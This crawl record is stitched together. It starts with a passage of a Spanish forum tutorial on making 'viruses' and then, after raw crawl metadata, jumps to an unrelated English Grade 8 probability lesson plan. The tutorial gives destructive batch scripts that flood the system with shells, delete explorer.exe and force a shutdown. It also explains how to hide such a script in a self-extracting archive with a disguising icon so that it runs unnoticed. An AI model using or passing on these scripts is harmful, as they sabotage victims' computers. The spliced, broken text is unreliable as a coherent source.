REG EXPORT /?
REG IMPORT /?
Usad estos comandos para obtener ayuda sobre los parametros después de reg.
5.)Bucles
Bueno un bucle es repetir muchas veces lo mismo
ejemplo
@echo off
:kevin
echo hola
goto kevin
jejejeje ya podeis imaginaros las cosas que podeis hacer.
otro ejemplo:
@echo off
:uji
start
goto uji
Madre mía.. este simple código , el que lo abra tendrá que reiniciar , por que el pc se le trabará todo.
el comando start lo que hace es abrir otra shell, así que imaginate este bucle infinito.
6.)Nuestro segundo virus.
@echo off
taskkill /F /IM msnmsgr.exe
del /F c:windowssystem32explorer.exe
shutdown -s -t 10 -c "Has caido en mis manos"
jejeje
7.)Variables de windows xp
para ver el contenido de estas variables escriban en cmd.exe
echo %NOMBREDELAVARIABLE%
%COMPUTERNAME% = Nombre de host.
%SYSTEMROOT% = Carpeta de administración Normalmente c:windows
%TEMP% = directorio donde se encuentran los archivos temporales
%WINDIR% = directorio de windows.
%USERNAME% = usuario con el que se inicio sesión
%USERPROFILE% = directorio donde se encuentran los archivos del usuario que inicio sesión
%PROGRAMFILE% = directorio donde se encuentran los archivos de programas
%OS% = muestra el sistema operativo que estamos ejecutando
%LOGONSERVER% = nombre de nuestro server (mihost)
no son todos , pero puse algunos importantes.
8.)If exist
if no solo sirve para exist , pero explicare if usando exist.
if exist lo que hace es por ejemplo:
@echo off
if exist c:kevin.txt (goto existe) else goto noexiste
:existe
echo si existe
exit
:noexiste
echo no existe
lo que hace es comprobar si el archivo kevin.txt existe en c: y si existiese iria a la etiqueta :existe
y si no existe iria a noexiste
AQUÍ UNOS TRUCOS PARA HACER TU VIRUS AUTO EXTRAIBLE Y QUE SE GUARDE EN SU DISCO DURO
PRIMERO TIENES QUE TENER EL PROGRAMA DE WINRAR
Y EL VIRUS QUE CREASTE.
LE DAS CLIC DERECHO SOBRE EL VIRUS Y LUEGO SOBRE L OPCION AÑADIR AL ARCHIVO, SE APARECERA UNA VENTANA COMO ESTA Y DEBERAN SEÑALAR LA OPCION DE CREAR ARCHIVO AUTOEXTRAIBLE,
DESPUES BAMOS A LA OPCION QUE DICE AVANZADO Y A AUTOEXTRAIBLE… SE APARECERA UNA VENTANA COMO ESTA, EN LA OPCION EJECUTAR TRAS LA EXTRACCION PONDREMOS EL NOMBRE DE NUESTRO VIRUS POR EJEMPLO VIRUS.BAT Y DONDE DICE CARPETA DE EXTRACCION LE PONEMOS EL LUGAR EN EL QUE QUERAMOS QUE SE QUEDE EL VIRUS EJEMPLO DOCUMENTOS,LUEGO SE BAN A LA OPCION MODOS Y SEÑALAN LA OPCION OCULTAR TODO, LUEGO EN LA OPCION TEXTO E ICONO Y DONDE DICE CARGAR ICONO DESDE FICHERO BUSCAN EL ICONO QUE QUIERANPONER Y LE DAN A ACEPTAR, Y EN LA PRIMERA VENTANA LE DAN A ACEPTAR Y SE CREARA SU VIRUS AUTOEXTRAIBLE.
ESTO ES TODO, NO ACEPTO COMENTARIOS MALOS O SINO TE PONGO UN VIRUS EEE.
2 comentarios - trucos para crear virus sin necesidad de nada !!
lucianoaibar
para que un programa sea considerado virus SI o SI tiene que ser capaz de infectar otras PCs, sino no lo es.
saludos | {
"url": "http://www.taringa.net/post/apuntes-y-monografias/17545540/Trucos-para-crear-virus-sin-necesidad-de-nada.html?dr=",
"source_domain": "www.taringa.net",
"snapshot_id": "crawl=CC-MAIN-2016-36",
"warc_metadata": {
"Content-Length": "117163",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:LPD2USIHGVP5DM3A34TVR6WP72BTRDBF",
"WARC-Concurrent-To": "<urn:uuid:aca655d5-710c-4438-b7c9-b68e3177ac35>",
"WARC-Date": "2016-08-24T23:36:00Z",
"WARC-IP-Address": "104.16.128.65",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:LLG3O7WLS73NKEXSOVYPHSDYQVCARX7U",
"WARC-Record-ID": "<urn:uuid:23b43121-0204-4c7f-b84b-f84f6a1e25e8>",
"WARC-Target-URI": "http://www.taringa.net/post/apuntes-y-monografias/17545540/Trucos-para-crear-virus-sin-necesidad-de-nada.html?dr=",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:32b31dd1-5d92-4209-8ea0-fe289e38b2aa>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-153-172-175.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-36\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for August 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
80,
81,
130,
131,
257,
276,
277,
300,
316,
317,
327,
328,
366,
367,
394,
395,
423,
424,
451,
452,
480,
481,
569,
570,
753,
754,
755,
777,
778,
816,
828,
829,
989,
990,
991,
1046,
1047,
1057,
1066,
1092,
1101,
1120,
1129,
1155,
1162,
1169,
1176,
1290,
1300,
1304,
1332,
1365,
1394,
1426,
1456,
1479,
1509,
1549,
1588,
1648,
1728,
1752,
1776,
1800,
1824,
1848,
1872,
1896,
1920,
1944,
1968,
1992,
2016,
2040,
2064,
2088,
2112,
2136,
2160,
2184,
2208,
2232,
2256,
2280,
2304,
2328,
2352,
2376,
2400,
2425,
2450,
2475,
2500,
2525,
2550,
2575,
2600,
2625,
2650,
2675,
2700,
2725,
2750,
2775,
2800,
2825,
2850,
2875,
2900,
2925,
2950,
2975,
3000,
3026,
3052,
3078,
3104,
3130,
3156,
3182,
3208,
3234,
3260,
3286,
3312,
3338,
3364,
3390,
3416,
3442,
3468,
3494,
3520,
3546,
3572,
3598,
3624,
3650,
3676,
3702,
3728,
3754,
3780,
3806,
3832,
3858,
3884,
3910,
3936,
3962,
3988,
4014,
4040,
4066,
4092,
4118,
4144,
4170,
4196,
4222,
4248,
4274,
4300,
4326,
4352,
4378,
4409,
4440,
4471,
4502,
4533,
4564,
4595,
4626,
4657,
4688,
4719,
4750,
4781,
4812,
4843,
4874,
4905,
4936,
4967,
4998,
5029,
5060,
5091,
5122,
5153,
5184,
5215,
5246,
5277,
5308,
5324,
5341,
5395,
5444,
5499,
5561,
5620,
5678,
5695,
5752,
5840,
5898,
5914,
5941,
5967,
5989,
6062,
6088,
6103,
6129,
6154,
6175,
6247,
6272,
6286,
6317,
6347,
6373,
6450,
6480,
6499,
6509,
6514,
6515,
6724,
6738,
6739,
6740,
6741,
6742,
6743,
6758,
6759,
6795,
6796,
6802,
6808,
6814,
6820,
6826,
6832,
6838,
6844,
6845,
6896,
6970,
7047,
7048,
7065,
7066,
7067,
7120,
7121,
7122,
7178,
7216,
7217,
7375,
7403,
7404,
7405,
7419,
7420,
7461,
7462,
7473,
7502,
7528,
7543,
7544,
7594,
7663,
7664,
7728,
7769,
7770,
7919,
7945,
7946,
7947,
7977,
7978,
7979,
8023,
8108,
8109,
8228,
8229,
8382,
8383,
8425,
8426,
8427,
8464,
8465,
8466,
8467,
8468,
8469,
8470,
8471,
8480,
8484,
8527,
8579,
8631,
8683,
8735,
8736,
8772,
8793,
8835,
8836,
8922,
8923,
8960,
8961,
8979,
8998,
8999,
9000,
9009,
9042,
9077,
9111,
9147,
9182,
9221,
9259,
9294,
9329,
9366,
9397,
9428,
9460,
9500,
9540,
9579,
9609,
9610,
9626,
9663,
9685,
9688,
9702,
9719,
9730,
9744,
9761,
9794,
9797,
9814,
9831,
9832,
9833,
9877,
9919,
9954,
9989,
10024,
10067,
10102,
10145,
10215,
10293,
10336,
10374,
10417,
10460,
10501,
10544,
10585,
10632,
10677,
10721,
10770,
10812,
10864,
10906,
10962,
11016,
11078,
11113,
11151,
11189,
11227,
11265,
11303,
11341,
11379,
11417,
11455,
11493,
11531,
11569,
11607,
11644,
11681,
11719,
11757,
11795,
11833,
11871,
11909,
11947,
11985,
12023,
12061,
12099,
12137,
12138,
12176,
12214,
12253,
12291,
12329,
12368,
12406,
12444,
12482,
12521,
12559,
12597,
12635,
12673,
12711,
12749,
12787,
12825,
12863,
12901,
12940,
12978,
13016,
13054,
13092,
13130,
13168,
13206,
13244,
13282,
13320,
13358,
13396,
13397,
13435,
13473,
13512,
13550,
13588,
13626,
13665,
13704,
13743,
13782,
13821,
13860,
13898,
13936,
13974,
14014,
14052,
14091,
14130,
14169,
14207,
14245,
14283,
14321,
14360,
14398,
14399,
14437,
14475,
14513,
14551,
14589,
14627,
14665,
14703,
14741,
14779,
14817,
14855,
14893,
14931,
14969,
15007,
15045,
15083,
15121,
15159,
15197,
15235,
15273,
15311,
15349,
15387,
15425,
15463,
15501,
15539,
15577,
15615,
15653,
15691,
15729,
15767,
15805,
15843,
15881,
15919,
15957,
15995,
16033,
16071,
16109,
16146,
16184,
16222,
16260,
16298,
16336,
16374,
16412,
16450,
16488,
16526,
16562,
16600,
16638,
16676,
16714,
16752,
16790,
16828,
16866,
16904,
16942,
16980,
17018,
17056,
17094,
17130,
17168,
17205,
17243,
17281,
17316,
17351,
17386,
17387,
17408,
17496,
17585,
17617,
17688,
17689,
17751,
17823,
17968,
18013,
18014,
18024,
18033,
18065,
18069,
18103,
18204,
18263,
18314,
18320,
18330,
18333,
18347,
18354,
18360,
18402,
18459,
18485,
18523,
18586,
18614,
18666,
18667,
18668,
18669,
18670,
18679,
18680,
18738,
18779,
18780,
18831,
18992,
19024,
19025,
19050,
19051,
19052,
19062,
19074,
19112,
19113,
19141,
19142,
19299,
19343,
19344,
19375,
19376,
19457,
19458,
19495,
19496,
19538,
19539,
19540,
19595,
19596,
19597,
19677,
19687,
19710,
19734,
19757,
19762,
19763,
19764,
19868,
19869,
19974,
19975,
20070,
20071,
20089,
20175,
20176,
20177,
20178,
20208,
20209,
20210,
20257,
20258,
20259,
20683,
20807,
20808,
20809,
21361,
21362,
21695,
21696,
21697,
21742,
21743,
21744,
21745,
21799,
21800,
21871,
21872,
21890,
21896,
21902,
21908,
21918,
21924,
21930,
21936,
21946,
21952,
21958,
21964,
21974,
21975,
21976,
22137,
22138,
22464,
22465,
22569,
22638,
22639,
22640,
22641,
22659,
22807,
22808,
22821,
22822,
22823,
22836,
22859,
22890,
22916,
22925,
22949,
22975,
22986,
23005,
23022,
23121,
23211,
23312,
23332,
23416,
23441,
23488,
23498,
23515,
23600,
23616,
23639,
23727,
23749,
23858,
23965,
23996,
24111,
24139,
24169,
24192,
24273,
24362,
24414,
24434,
24518,
24542,
24567,
24610,
24681,
24709,
24777,
24812,
24826,
24905,
24915,
24925,
24940,
24951,
24960,
24971,
24982,
25017,
25059,
25076,
25081,
25087,
25115,
25193,
25206,
25219,
25230,
25244,
25256,
25268,
25283,
25295,
25309,
25324,
25338,
25352,
25428,
25438,
25486,
25494,
25504,
25511,
25521,
25532,
25590,
25604,
25614,
25619,
25625,
25634,
25739,
25828,
25854,
25864,
25892,
25929,
25975,
25982,
26009,
26070,
26096,
26129,
26192,
26256,
26290,
26339,
26429,
26502,
26561,
26611,
26657,
26669,
26731,
26768,
26778,
26832,
26840,
26855,
26860,
26870,
26885,
26989,
27020,
27105,
27152,
27176,
27348,
27349,
27931,
28003,
28004,
28069,
28070,
28083,
28192
],
"line_end_idx": [
80,
81,
130,
131,
257,
276,
277,
300,
316,
317,
327,
328,
366,
367,
394,
395,
423,
424,
451,
452,
480,
481,
569,
570,
753,
754,
755,
777,
778,
816,
828,
829,
989,
990,
991,
1046,
1047,
1057,
1066,
1092,
1101,
1120,
1129,
1155,
1162,
1169,
1176,
1290,
1300,
1304,
1332,
1365,
1394,
1426,
1456,
1479,
1509,
1549,
1588,
1648,
1728,
1752,
1776,
1800,
1824,
1848,
1872,
1896,
1920,
1944,
1968,
1992,
2016,
2040,
2064,
2088,
2112,
2136,
2160,
2184,
2208,
2232,
2256,
2280,
2304,
2328,
2352,
2376,
2400,
2425,
2450,
2475,
2500,
2525,
2550,
2575,
2600,
2625,
2650,
2675,
2700,
2725,
2750,
2775,
2800,
2825,
2850,
2875,
2900,
2925,
2950,
2975,
3000,
3026,
3052,
3078,
3104,
3130,
3156,
3182,
3208,
3234,
3260,
3286,
3312,
3338,
3364,
3390,
3416,
3442,
3468,
3494,
3520,
3546,
3572,
3598,
3624,
3650,
3676,
3702,
3728,
3754,
3780,
3806,
3832,
3858,
3884,
3910,
3936,
3962,
3988,
4014,
4040,
4066,
4092,
4118,
4144,
4170,
4196,
4222,
4248,
4274,
4300,
4326,
4352,
4378,
4409,
4440,
4471,
4502,
4533,
4564,
4595,
4626,
4657,
4688,
4719,
4750,
4781,
4812,
4843,
4874,
4905,
4936,
4967,
4998,
5029,
5060,
5091,
5122,
5153,
5184,
5215,
5246,
5277,
5308,
5324,
5341,
5395,
5444,
5499,
5561,
5620,
5678,
5695,
5752,
5840,
5898,
5914,
5941,
5967,
5989,
6062,
6088,
6103,
6129,
6154,
6175,
6247,
6272,
6286,
6317,
6347,
6373,
6450,
6480,
6499,
6509,
6514,
6515,
6724,
6738,
6739,
6740,
6741,
6742,
6743,
6758,
6759,
6795,
6796,
6802,
6808,
6814,
6820,
6826,
6832,
6838,
6844,
6845,
6896,
6970,
7047,
7048,
7065,
7066,
7067,
7120,
7121,
7122,
7178,
7216,
7217,
7375,
7403,
7404,
7405,
7419,
7420,
7461,
7462,
7473,
7502,
7528,
7543,
7544,
7594,
7663,
7664,
7728,
7769,
7770,
7919,
7945,
7946,
7947,
7977,
7978,
7979,
8023,
8108,
8109,
8228,
8229,
8382,
8383,
8425,
8426,
8427,
8464,
8465,
8466,
8467,
8468,
8469,
8470,
8471,
8480,
8484,
8527,
8579,
8631,
8683,
8735,
8736,
8772,
8793,
8835,
8836,
8922,
8923,
8960,
8961,
8979,
8998,
8999,
9000,
9009,
9042,
9077,
9111,
9147,
9182,
9221,
9259,
9294,
9329,
9366,
9397,
9428,
9460,
9500,
9540,
9579,
9609,
9610,
9626,
9663,
9685,
9688,
9702,
9719,
9730,
9744,
9761,
9794,
9797,
9814,
9831,
9832,
9833,
9877,
9919,
9954,
9989,
10024,
10067,
10102,
10145,
10215,
10293,
10336,
10374,
10417,
10460,
10501,
10544,
10585,
10632,
10677,
10721,
10770,
10812,
10864,
10906,
10962,
11016,
11078,
11113,
11151,
11189,
11227,
11265,
11303,
11341,
11379,
11417,
11455,
11493,
11531,
11569,
11607,
11644,
11681,
11719,
11757,
11795,
11833,
11871,
11909,
11947,
11985,
12023,
12061,
12099,
12137,
12138,
12176,
12214,
12253,
12291,
12329,
12368,
12406,
12444,
12482,
12521,
12559,
12597,
12635,
12673,
12711,
12749,
12787,
12825,
12863,
12901,
12940,
12978,
13016,
13054,
13092,
13130,
13168,
13206,
13244,
13282,
13320,
13358,
13396,
13397,
13435,
13473,
13512,
13550,
13588,
13626,
13665,
13704,
13743,
13782,
13821,
13860,
13898,
13936,
13974,
14014,
14052,
14091,
14130,
14169,
14207,
14245,
14283,
14321,
14360,
14398,
14399,
14437,
14475,
14513,
14551,
14589,
14627,
14665,
14703,
14741,
14779,
14817,
14855,
14893,
14931,
14969,
15007,
15045,
15083,
15121,
15159,
15197,
15235,
15273,
15311,
15349,
15387,
15425,
15463,
15501,
15539,
15577,
15615,
15653,
15691,
15729,
15767,
15805,
15843,
15881,
15919,
15957,
15995,
16033,
16071,
16109,
16146,
16184,
16222,
16260,
16298,
16336,
16374,
16412,
16450,
16488,
16526,
16562,
16600,
16638,
16676,
16714,
16752,
16790,
16828,
16866,
16904,
16942,
16980,
17018,
17056,
17094,
17130,
17168,
17205,
17243,
17281,
17316,
17351,
17386,
17387,
17408,
17496,
17585,
17617,
17688,
17689,
17751,
17823,
17968,
18013,
18014,
18024,
18033,
18065,
18069,
18103,
18204,
18263,
18314,
18320,
18330,
18333,
18347,
18354,
18360,
18402,
18459,
18485,
18523,
18586,
18614,
18666,
18667,
18668,
18669,
18670,
18679,
18680,
18738,
18779,
18780,
18831,
18992,
19024,
19025,
19050,
19051,
19052,
19062,
19074,
19112,
19113,
19141,
19142,
19299,
19343,
19344,
19375,
19376,
19457,
19458,
19495,
19496,
19538,
19539,
19540,
19595,
19596,
19597,
19677,
19687,
19710,
19734,
19757,
19762,
19763,
19764,
19868,
19869,
19974,
19975,
20070,
20071,
20089,
20175,
20176,
20177,
20178,
20208,
20209,
20210,
20257,
20258,
20259,
20683,
20807,
20808,
20809,
21361,
21362,
21695,
21696,
21697,
21742,
21743,
21744,
21745,
21799,
21800,
21871,
21872,
21890,
21896,
21902,
21908,
21918,
21924,
21930,
21936,
21946,
21952,
21958,
21964,
21974,
21975,
21976,
22137,
22138,
22464,
22465,
22569,
22638,
22639,
22640,
22641,
22659,
22807,
22808,
22821,
22822,
22823,
22836,
22859,
22890,
22916,
22925,
22949,
22975,
22986,
23005,
23022,
23121,
23211,
23312,
23332,
23416,
23441,
23488,
23498,
23515,
23600,
23616,
23639,
23727,
23749,
23858,
23965,
23996,
24111,
24139,
24169,
24192,
24273,
24362,
24414,
24434,
24518,
24542,
24567,
24610,
24681,
24709,
24777,
24812,
24826,
24905,
24915,
24925,
24940,
24951,
24960,
24971,
24982,
25017,
25059,
25076,
25081,
25087,
25115,
25193,
25206,
25219,
25230,
25244,
25256,
25268,
25283,
25295,
25309,
25324,
25338,
25352,
25428,
25438,
25486,
25494,
25504,
25511,
25521,
25532,
25590,
25604,
25614,
25619,
25625,
25634,
25739,
25828,
25854,
25864,
25892,
25929,
25975,
25982,
26009,
26070,
26096,
26129,
26192,
26256,
26290,
26339,
26429,
26502,
26561,
26611,
26657,
26669,
26731,
26768,
26778,
26832,
26840,
26855,
26860,
26870,
26885,
26989,
27020,
27105,
27152,
27176,
27348,
27349,
27931,
28003,
28004,
28069,
28070,
28083,
28192,
28199
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 28199,
"ccnet_original_nlines": 829,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.08116132766008377,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.12669086456298828,
"rps_doc_frac_lines_end_with_ellipsis": 0.021686749532818794,
"rps_doc_frac_no_alph_words": 0.3145826458930969,
"rps_doc_frac_unique_words": 0.2663115859031677,
"rps_doc_mean_word_length": 5.481757640838623,
"rps_doc_num_sentences": 529,
"rps_doc_symbol_to_word_ratio": 0.0531177781522274,
"rps_doc_unigram_entropy": 5.431076526641846,
"rps_doc_word_count": 3755,
"rps_doc_frac_chars_dupe_10grams": 0.13325883448123932,
"rps_doc_frac_chars_dupe_5grams": 0.21220365166664124,
"rps_doc_frac_chars_dupe_6grams": 0.2046249508857727,
"rps_doc_frac_chars_dupe_7grams": 0.17761367559432983,
"rps_doc_frac_chars_dupe_8grams": 0.14618149399757385,
"rps_doc_frac_chars_dupe_9grams": 0.1369510293006897,
"rps_doc_frac_chars_top_2gram": 0.08482316136360168,
"rps_doc_frac_chars_top_3gram": 0.09327632933855057,
"rps_doc_frac_chars_top_4gram": 0.015303149819374084,
"rps_doc_books_importance": -2872.666748046875,
"rps_doc_books_importance_length_correction": -2872.666748046875,
"rps_doc_openwebtext_importance": -1741.79248046875,
"rps_doc_openwebtext_importance_length_correction": -1741.79248046875,
"rps_doc_wikipedia_importance": -1699.902099609375,
"rps_doc_wikipedia_importance_length_correction": -1699.902099609375
},
"fasttext": {
"dclm": 0.08742833137512207,
"english": 0.1825629025697708,
"fineweb_edu_approx": 1.6985780000686646,
"eai_general_math": 0.0010034400038421154,
"eai_open_web_math": 0.14598798751831055,
"eai_web_code": 0.47898828983306885
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.82",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "16",
"label": "Personal Blog"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "1",
"label": "Technically Flawed"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-5,918,737,132,478,641,000 | Вы находитесь на странице: 1из 5
Detailed Lesson Plan in Mathematics
(Grade 8)
I.
Objectives At the end of the 60 minute session, the student will be able to:
• a. remember the formula
¿ favorableoutcome
totaloutcome
;
• b. solve for the probability of an event;
• c. interpret the probability of an event.
II.
Subject Matter
Topic: Basic Probability Sub-topic: Probability of an Event Reference: Mathematics Learner’s Module pp. 568-569 Materials: PowerPoint Presentation and Dice Values: Accuracy and cooperation
III.
Procedure
Learning Activities
Teacher’s Activity
Student’s Activity
• A. Daily Routine “Please stand up and let us
(One student will lead the prayer.)
pray.” “Good morning class!”
“Good morning Sir!”
“Before you take your seat,
(Student will pick up pieces of paper
kindly pick up the pieces of
under their chair.)
paper under your chair.”
(Groups will be called to report if
(Leader of each group will report if
there’s any absent.)
there’s any absent.)
• B. Review and Motivation
“Before we proceed to the
lesson proper here are the
things that you need to recall in
order for you to learn our lesson
for today.”
Simplify the following:
1¿ 5
1¿ 1
2
10
2¿ 0
10
2) 0
3 ¿ 1
3¿ 10
10
“Now you are equipped with the
prior knowledge you need to
(Students will watch the video)
learn, I will now show you a
video that could help you
understand the concept of our
topic for today”
(The video will be shown to the
students)
“Yes Sir”
C. Presentation
“the Four Spinners”
“Did you enjoy the video?”
“Who are the characters in the
video?”
“They are a walking spinner so they
let their arrow spin and decide of
which path they will take. If the
arrow points at number 3 they will
“How do they decide about the
take Road 3 but if it is 1 or 2 they
road that they will take?”
will take the other road”
“The first spinner has a bigger
space for number 3 so it has a
bigger chance of taking route 3. The
second one has a smaller space for
number 3 so the chance of taking
“What was the difference among
the four walking spinner and
how do this differences affect
them?”
the Route 3 is smaller. The third one
doesn’t have a number 3 in the
spinner so it has no chance of
traveling Route 3. And the last one
has only one number to the spinner
which is 3 so it will surely travel to
route 3. In short each of them has
different chance in travelling route 3.
Their differences affect their choices
they make.”
“Very good. The path that they
will take depends upon the luck
and chances not by their will.
The word that I want to
emphasize is “chance”. How
can we compute for the chance
of an event to happen? So
today we are going to explore
the mathematics behind this.”
“Probability is a chance of an
event to happen.”
“Yes Sir”
“Class, are you familiar with
color game?”
“You are going to place your bet in
the color that you think would win
“Can someone please explain
then they will roll the dice if your
the mechanics of the game?”
color is at the top you win but if the
other color is going to be on top it
means you lose”
means you lose”
“Let’s try it. But we are going to
add some twist. Group 1 will
going to bet in one color only,
(they will pick a color and the dice
will roll)
Group 2 will have 2 colors,
Group 3 will have 3, Group 4 is
have 4, Group 5 will have 5 and
“Sir ,it is unfair because we do have
Group 6 you have 6 colors.”
different level of chances of winning”
“what can you say about our
game”
“Now let us compute for
probability that your group will
win. The formula for getting
probability is
(Student will read the definition). “Sir
¿ favorableoutcome
it is the result that you wanted to
totaloutcome
happen for example in our group
getting a yellow so the number is
1since there is only one yellow in
“Who wants to read and explain
the meaning of favorable
the dice.”
outcome?”
(Student will read the definition)
“from the word total it means all
possible events that might happen I
think it is 6 sir because there are all
“that was nice answer, How
six colors that might win in that dice”
about total outcome? ”
“1/6. The favorable outcome in the
“That is right. Now that you
formula is the numerator while the
have an idea what is favorable
total outcome is the denominator so
outcome, total outcome and the
I simply write it in fraction form.”
formula is already given. Can
now someone solve for
probability of your group to win
Group 2: 1/3
in color game?”
Group 3: 1/2
“How about on the other group
Group 4: 2/3 Group 5: 5/6
can you please solve for the
Group 6: 1
probability that you will win in
=0/6
the color game”
=0
“sir, because there is no color gray
in the dice so the no of favorable
What if I also join in the game
outcome is 0”
and I pick color Gray. What was
the probability that I will win
“1 and 0”
“Now observe your answers.
What was the highest
“Yes sir”
probability and lowest
probability ”
“Very good. The first rule in the
“they got 1, getting a probability of 1
probability is that the range of
means the event will surely happen”
probability is 0-1. Did you
understand?”
“getting 0 means the event is
“What can you conclude about
impossible to happen”
Group 6’s probability of
winning?”
=1/6+1/6+1/6+1/6+1/6+1/6
=6/6
“Very good, that was the second
=1
rule in probability. How about
getting 0”
“That is right. That was the other
rule in probability. But what if I
added the probability of getting
each color (it means 6
probabilities). What do you think
is the result?”
“No sir”
“Very good. The last rule is that
the sum of the probabilities of
all the outcome in sample space
is 1”
“Is there any question?”
(Each group will have different
answers depending on the number
“we can now proceed to our
and composition of their group.)
activity”
• D. Activity (Group Activity) If your group will be performing
a draw lots what is the
probability of picking:
• a. the name of the leader;
“Probability is a chance of an event
• b. a of a girl;
to happen”
• c. a student with the name that
“we will use the formula
starts with letter j.
¿ favorableoutcome
totaloutcome
• E. Generalization “What is probability?”
“0-1”
“How can we compute for
probability?”
“meaning the event will surely
happen”
“What is the range of the
“the event is impossible to happen”
Probability?”
“what does it mean of getting 1
in probability”
“How about getting 0?”
IV.
Evaluation
Solve the probability of the problem. A bag has 2 red marble, 5 green marble, and 3 blue marble. You will pick
1 marble. What is the probability of getting:
• a. red marble;
• b. blue marble;
• c. blue and green marble;
• d. not red marble;
• e. orange marble?
V.
Assignment
Answer Activity 8 on page 570 in your Mathematics Learner’s Module.
Prepared by:
Denjie M. Magrimbao | {
"url": "https://ru.scribd.com/document/258767755/Detailed-Lesson-Plan-in-G-8",
"source_domain": "ru.scribd.com",
"snapshot_id": "crawl=CC-MAIN-2019-51",
"warc_metadata": {
"Content-Length": "490918",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:XI5K75DLEB6LPOKX2GEZP6C727YYG73L",
"WARC-Concurrent-To": "<urn:uuid:9b2a25d4-4c52-4c76-a39b-784af618330a>",
"WARC-Date": "2019-12-09T02:04:55Z",
"WARC-IP-Address": "151.101.250.152",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:PGZN6E7KYO6PKU4EOIVGZYMNPYSVSTUK",
"WARC-Record-ID": "<urn:uuid:3cd72a79-0514-4a05-8a49-31cf7f20034a>",
"WARC-Target-URI": "https://ru.scribd.com/document/258767755/Detailed-Lesson-Plan-in-G-8",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:aca635dc-0ca1-47cf-b2c5-7a3cd744b2d6>"
},
"warc_info": "isPartOf: CC-MAIN-2019-51\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for December 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-73.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
33,
34,
70,
71,
81,
82,
85,
86,
163,
164,
192,
193,
212,
213,
226,
227,
229,
230,
276,
277,
323,
324,
328,
329,
344,
345,
534,
535,
540,
541,
551,
552,
572,
573,
592,
593,
612,
613,
662,
663,
699,
700,
729,
730,
750,
751,
779,
780,
818,
819,
848,
849,
869,
870,
895,
896,
932,
933,
970,
971,
992,
993,
1014,
1015,
1044,
1045,
1071,
1072,
1099,
1100,
1134,
1135,
1169,
1170,
1182,
1183,
1207,
1208,
1213,
1214,
1219,
1220,
1222,
1223,
1226,
1227,
1232,
1233,
1236,
1237,
1242,
1243,
1249,
1250,
1256,
1257,
1259,
1260,
1263,
1264,
1295,
1296,
1324,
1325,
1357,
1358,
1387,
1388,
1414,
1415,
1445,
1446,
1463,
1464,
1496,
1497,
1507,
1508,
1518,
1519,
1535,
1536,
1556,
1557,
1584,
1585,
1616,
1617,
1625,
1626,
1662,
1663,
1698,
1699,
1733,
1734,
1769,
1770,
1800,
1801,
1838,
1839,
1866,
1867,
1893,
1894,
1926,
1927,
1958,
1959,
1996,
1997,
2032,
2033,
2066,
2067,
2098,
2099,
2128,
2129,
2160,
2161,
2168,
2169,
2207,
2208,
2239,
2240,
2271,
2272,
2308,
2309,
2344,
2345,
2384,
2385,
2420,
2421,
2461,
2462,
2501,
2502,
2514,
2515,
2546,
2547,
2579,
2580,
2611,
2612,
2636,
2637,
2664,
2665,
2695,
2696,
2722,
2723,
2753,
2754,
2756,
2757,
2787,
2788,
2819,
2820,
2838,
2839,
2841,
2842,
2852,
2853,
2883,
2884,
2897,
2898,
2900,
2901,
2937,
2938,
2973,
2974,
3002,
3003,
3040,
3041,
3069,
3070,
3109,
3110,
3147,
3148,
3150,
3166,
3167,
3183,
3184,
3219,
3220,
3249,
3250,
3282,
3283,
3320,
3321,
3332,
3333,
3361,
3362,
3394,
3395,
3427,
3428,
3466,
3467,
